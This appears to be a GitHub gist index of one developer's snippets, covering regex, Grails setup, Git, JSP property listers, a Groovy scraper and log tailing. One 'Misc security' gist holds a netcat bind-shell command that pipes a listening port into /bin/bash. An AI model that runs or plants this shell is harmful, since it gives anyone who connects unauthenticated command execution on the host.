Skip to content

Instantly share code, notes, and snippets.

@gerjantd
gerjantd / gist:3960871
Created October 26, 2012 19:21
Eclipse/regexp: replace property value by el variable with name identical to property
Find: (^\w*\.\w*)=.*$
Replace with: $1=\$\{$1\}
@gerjantd
gerjantd / gist:4114046
Created November 19, 2012 21:22
Misc security: nc (netcat), nikto, tcptrack
mkfifo foo
nc -lk 2600 0<foo | /bin/bash 1>foo 2>&1
(REMOTE: nc myip 2600)
mkdir -p foo/bar/baz/quux
cd foo/bar/baz/quux/
for i in `seq 1 1000`; do echo -n $i" " >> foobar.txt ; done
zip -f foo.zip foo/
hexedit foo.zip
@gerjantd
gerjantd / gist:4259951
Created December 11, 2012 16:19
Cloud foundry Grails app from scratch
Cloud foundry Grails app from scratch
=====================================
* Pre: Ubuntu 12.10 desktop system
* Log in (guest account)
* Alt+F2 firefox
* http://www.springsource.org/downloads/sts-ggts
* http://download.springsource.com/release/STS/3.1.0/dist/e3.8/groovy-grails-tool-suite-3.1.0.RELEASE-e3.8-linux-gtk.tar.gz
* Alt+F2 gnome-terminal
* cd Downloads/
@gerjantd
gerjantd / gist:4523597
Last active December 11, 2015 01:29
Git: Git for Eclipse users worked example

Git for Eclipse users worked example

In first shell

$ mkdir example
$ cd example
$ git init
Initialized empty Git repository in /home/gerjan/example/.git/
@gerjantd
gerjantd / listjvmprops.jsp
Created April 9, 2013 12:43
Java/JSP: list JVM properties
<HTML>
<BODY>
<%
out.println("<DL>");
java.util.Properties props = System.getProperties();
java.util.Enumeration e = props.propertyNames();
while (e.hasMoreElements())
{
String key = (String) e.nextElement();
String value = props.getProperty (key);
@gerjantd
gerjantd / listreqattrs.jsp
Created April 9, 2013 12:44
Java/JSP: list request attributes
<HTML>
<BODY>
<%
out.println("<DL>");
java.util.Enumeration attrs = pageContext.getRequest().getAttributeNames();
while (attrs.hasMoreElements()) {
String attr = (String) attrs.nextElement();
Object val = pageContext.getRequest().getAttribute(attr);
out.println("<DT>"+attr+"</DT><DD>"+val.toString()+"<DD/>");
}
@gerjantd
gerjantd / scrape.groovy
Created April 24, 2013 16:57
Groovy: scrape mp3 links in html and download all
@Grab(group='net.sourceforge.nekohtml', module='nekohtml', version='1.9.18')
import org.cyberneko.html.parsers.SAXParser
def download(address)
{
def file = new FileOutputStream(address.tokenize("/")[-1])
def out = new BufferedOutputStream(file)
out << new URL(address).openStream()
out.close()
}
@gerjantd
gerjantd / gist:8706765
Created January 30, 2014 11:33
Tail remote log, save new lines locally and prettify json embedded in log lines using swatch and python
ssh user@host tail -F /usr/share/tomcat/logs/catalina.out >> /tmp/host-catalina.out
vi ~/.swatchrc:
watchfor /"from"/
pipe 'cut -f5- -d" "|python -mjson.tool'
swatch -c ~/.swatchrc -t /tmp/host-catalina.out
@gerjantd
gerjantd / list-objects.jsp
Created January 31, 2014 10:09
List JSP implicit object
<!--
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
@gerjantd
gerjantd / gist:9158091
Last active August 29, 2015 13:56
Bash/Perl script to replace spaces in file names
# http://stackoverflow.com/questions/2709458/bash-script-to-replace-spaces-in-file-names
find ./tmp/ -depth -name "* *" -execdir rename 's/ /_/g' "{}" \;